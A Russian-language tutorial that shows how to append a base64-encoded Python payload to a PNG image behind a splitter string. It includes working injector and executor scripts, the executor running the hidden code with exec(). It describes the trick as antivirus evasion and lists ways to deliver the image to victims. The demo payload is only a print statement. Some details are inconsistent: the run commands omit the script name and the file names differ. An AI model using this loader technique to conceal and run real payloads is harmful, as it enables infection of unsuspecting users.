Как спрятать вирус в картину При помощи Python
И так, предупреждаю всех кто подумал, что запустив .PNG файл у вас запуститься вирус. Нет, мы скроем вирус ВНУТРИ .PNG файла никак не затронув того что там содержиться. Этот способ могут использовать хакеры для скрытия PAYLOAD (можно сказать, PAYLOAD - код нашего вируса) от антивирусов.
Работает всё это дело так: Хакеры создают исполнитель PAYLOAD'а. В нашем случае это Python (мы его будем использовать лишь чтобы показать вам как это может произойти. В реальных случаях, хакеры могут использовать C++, C# и другие языки которые легко компилируются в исполняемые файлы). Дальше они берут код вируса, шифруют его (в нашем случае это будет обычная кодировка с помощью base64 без использования алгоритмов шифрования) и вставляют в конец файла .PNG разделяя каким-нибудь набором символа (так называемый SPLITTER, разделитель)
Подготовка
Я возьму картинку котика, вот такую:
Я создал файл inject.py и написал следующий код:
""" Image code injection example """ import base64 import pathlib import sys # import argparse if application is run from the terminal if __name__ == '__main__': import argparse def inject(path: pathlib.Path, code: str | bytes, splitter: bytes = b'^^^^^^s0meart^^^^^^'): """ Injects a code to image by path :param path: Path to the image :param code: Code to inject :param splitter: Splitter to split image and code """ # convert code to bytes if required if not isinstance(code, bytes): code = code.encode('utf8') # write splitter and base64-encoded code to the end of file path.write_bytes(path.read_bytes() + splitter + base64.b64encode(code)) # execute if application is run from the terminal if __name__ == '__main__': # create argument parser parser = argparse.ArgumentParser() parser.add_argument('-i', '--image', help='path to the image', required=True) parser.add_argument('-c', '--code', help='path to the file with python code', required=True) # parse arguments args = parser.parse_args() # get path to the image img_path = pathlib.Path(args.image) # check for the image path if not (img_path.exists() and img_path.is_file()): print('Image path not found') sys.exit() # get path to the code code_path = pathlib.Path(args.code) # check for the code path if not (code_path.exists() and code_path.is_file()): print('Code path not found') sys.exit() # try to inject try: # read the code code = code_path.read_bytes() inject(img_path, code) print('Code successfully injected!') except Exception as exc: # catch exception and print it print(f'Cannot to inject the code to image. Exception: {exc}') sys.exit()
В моём коде можно увидеть что здесь всего лишь добавление SPLITTER'а и нашего кода в конец файла.
(WINDOWS): python -i (путь к изображению) -c (путь к .py файлу) (LINUX): python3 -i (путь к изобраению) -c (путь к .py файлу)
Далее я создал файл payload.py с нашим потенциальным "вирусом":
print("Hello, world")
Теперь я запустил свою утилиту подобным образом:
(WINDOWS): python -i cat.png -c payload.py (LINUX): python3 -i cat.png -c payload.py
Готово. Наше изображение cat.png теперь в конце файла хранит наш "вирус". Каким же образом хакеры могут его доставить жертве?
- Вместе с приложением, которое запустит этот код
- Скинув жертве изображение в сыром виде (Допустим, несжатое изображение в Telegram). Передать вам приложение, которое запустит изображение. Оно в кэше найдёт данное изображение (по содержанию SPLITTER'а) и в последующем запустит.
- И много других способов
Теперь напишем приложение которое запустит его. Наш контекст будет это первый случай из первого списка, по скольку я не буду никого подвергать атаке и буду тестировать сугубо на своём компьютере.
Я создал файл execute.py и написал следующий код:
""" Image code injection example. Executor """ import base64 import pathlib import sys if __name__ == '__main__': # path to the image with code (there is cat.png in current directory) path_to_image = pathlib.Path('./cat.jpg') def execute_code(b64code: str | bytes): """ Executes base64-encoded python code :param b64code: Base64-encoded code """ # convert code to bytes if required if not isinstance(b64code, bytes): b64code = b64code.encode('utf8') # try to execute the code try: exec(base64.b64decode(b64code)) print('Code executed!') except Exception as exc: print(f'Can\'t execute code. Exception: {exc}') def get_code_from_image(path: pathlib.Path, splitter: bytes = b'^^^^^^s0meart^^^^^^') -> bytes: """ Gets injected code from image by path :param path: Path to image :param splitter: Splitter to split image and code """ # read the file content = path.read_bytes() # check if splitter in the file if splitter not in content: print('Cannot to find splitter in the image') return # get base64-encoded code b64code = content.split(splitter)[1] # return code return b64code if __name__ == '__main__': # check if image is exists if not (path_to_image.exists() and path_to_image.is_file()): print('Image path not found') sys.exit() # try to get code try: b64code = get_code_from_image(path_to_image) except Exception as exc: print('Can\'t get code from the image') sys.exit() # execute code execute_code(b64code)
Теперь, запустив файл execute.py я получил такой результат:
$ python execute.py Hello, world! Code executed!
Поздравляю! Теперь вы знаете как хакеры могут скрывать свои вирусы в изображениях почти любого типа.